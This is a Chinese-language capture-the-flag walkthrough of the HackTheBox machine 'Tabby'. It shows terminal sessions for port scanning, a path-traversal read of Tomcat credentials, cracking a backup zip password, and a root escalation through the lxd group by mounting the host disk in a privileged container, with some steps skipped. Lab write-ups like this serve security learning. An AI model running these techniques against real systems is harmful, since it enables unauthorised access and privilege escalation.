┌──(kali㉿kali)-[~/桌面] └─$ nmap -sC -sV -p$ports 10.10.10.194 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 11:11 CST Nmap scan report for 10.10.10.194 Host is up (0.29s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA) | 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA) |_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.70 seconds
3、使用nikto工具获取下一些目标网站的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(kali㉿kali)-[~/桌面] └─$ nikto -host http://10.10.10.194 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.10.194 + Target Hostname: 10.10.10.194 + Target Port: 80 + Start Time: 2023-12-23 11:17:49 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + 8052 requests: 1 error(s) and 4 item(s) reported on remote host + End Time: 2023-12-23 11:59:10 (GMT8) (2481 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
4、查看下两个端口网站的页面信息
http://10.10.10.194
http://10.10.10.194:8080
5、根据80端口页面源码信息，发现了一个特殊的URL访问地址
http://megahosting.htb/news.php?file=statement
6、本地先绑定下hosts信息
1 2 3 4
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.10.194 megahosting.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码： 10.10.10.194 megahosting.htb
┌──(kali㉿kali)-[~/桌面] └─$ curl http://megahosting.htb/news.php?file=../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <!-- NOTE: By default, no user is included in the "manager-gui" role required to operate the "/manager/html" web application. If you wish to use this app, you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the usersin the commented out section below since they are intended for use with the examples web application. --> <!-- NOTE: The sample user and role entries below are intended for use with the examples web application. They are wrapped in a comment and thus are ignored when reading this file. If you wish to configure these usersfor use with the examples web application, do not forget to remove the <!.. ..> that surrounds them. You will also need to set the passwords to something appropriate. --> <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <role rolename="admin-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
┌──(kali㉿kali)-[~/桌面] └─$ zip2john 16162020_backup.zip > hashzip ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ts=7DB5 cs=7db5 type=8 ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ts=5935 cs=5935 type=8 ver 1.0 efh 5455 efh 7875 ** 2b ** 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: TS_chk, cmplen=2906, decmplen=2894, crc=02F9F45F ts=5D46 cs=5d46 type=0 ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ts=5A7A cs=5a7a type=8 ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 ts=6A8B cs=6a8b type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
┌──(kali㉿kali)-[~/桌面] └─$ sudo john ./hashzip --wordlist=/usr/share/wordlists/rockyou.txt [sudo] kali 的密码： Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 3 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status admin@it (16162020_backup.zip) 1g 0:00:00:00 DONE (2023-12-23 12:56) 1.818g/s 18856Kp/s 18856Kc/s 18856KC/s adzlogan..adamsapple:)1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(kali㉿kali)-[~/桌面/var/www/html] └─$ ssh ash@10.10.10.194 The authenticity of host '10.10.10.194 (10.10.10.194)' can't be established. ED25519 key fingerprint is SHA256:mUt3fTn2/uoySPc6XapKq69a2/3EPRdW0T79hZ2davk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.194' (ED25519) to the list of known hosts. ash@10.10.10.194: Permission denied (publickey).
25、发现无法通过ssh的形式登录，那就通过初始权限进行su 切换，至此获取到第一个flag信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
tomcat@tabby:/var/www/html/files$ su ash su ash Password: admin@it
ash@tabby:/var/www/html/files$
ash@tabby:/var/www/html/files$ cd /home/ash cd /home/ash ash@tabby:~$ ls ls user.txt ash@tabby:~$ cat user.txt cat user.txt 768309c7c35c34564705bf6bf54b8390 ash@tabby:~$
0x02 系统权限获取
26、通过查看自身账号用户组，发现我们拥有 lxd 组的权限，lxd组是一个虚拟容器的东西
1 2 3 4 5 6 7 8 9 10
ash@tabby:~$ id id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd) ash@tabby:~$ sudo -l sudo -l sudo: unable to open /run/sudo/ts/ash: Read-only file system [sudo] password for ash: admin@it
Sorry, user ash may not run sudo on tabby. ash@tabby:~$
ash@tabby:~$ cd ~ cd ~ ash@tabby:~$ ls ls alpine-v3.19-x86_64-20231223_1324.tar.gz snap user.txt ash@tabby:~$ lxd init lxd init Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]: dir dir Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
ash@tabby:~$ lxc image list lxc image list +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | myimage | 6874271ece3b | no | alpine v3.19 (20231223_13:24) | x86_64 | CONTAINER | 3.48MB | Dec 23, 2023 at 6:03am (UTC) | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ ash@tabby:~$ lxc init myimage ignite -c security.privileged=true lxc init myimage ignite -c security.privileged=true Creating ignite ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true <ydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to ignite ash@tabby:~$ lxc start ignite lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh lxc exec ignite /bin/sh ~ # ^[[29;5Rid id uid=0(root) gid=0(root) ~ # cat /root/root.txt cat /root/root.txt cat: can't open '/root/root.txt': No such file or directory ~ # ^[[29;5Rcat /root/root.txt cat /root/root.txt cat: can't open '/root/root.txt': No such file or directory ~ # ^[[29;5Rcd /root cd /root ~ # ^[[29;5Rls ls ~ # ^[[29;5Rpwd pwd /root ~ # ^[[29;5Rls ls ~ # ^[[29;5Rcd cd /mnt/root/ cdcd /mnt/root/ /bin/sh: cd: can't cd to cd: No such file or directory ~ # ^[[29;5Rcd cd /mnt/root/ cd cd /mnt/root/ /bin/sh: cd: can't cd to cd: No such file or directory ~ # ^[[29;5Rcd /mnt/root/ cd /mnt/root/ /mnt/root # ^[[29;13Rls ls bin etc lib64 mnt run sys boot home libx32 opt sbin tmp cdrom lib lost+found proc snap usr dev lib32 media root srv var /mnt/root # ^[[29;13Rcd root cd root /mnt/root/root # ^[[29;18Rls ls root.txt snap /mnt/root/root # ^[[29;18Rcat root.txt cat root.txt 32a3e0813bf2093db72555e47cfe036a /mnt/root/root # ^[[29;18R
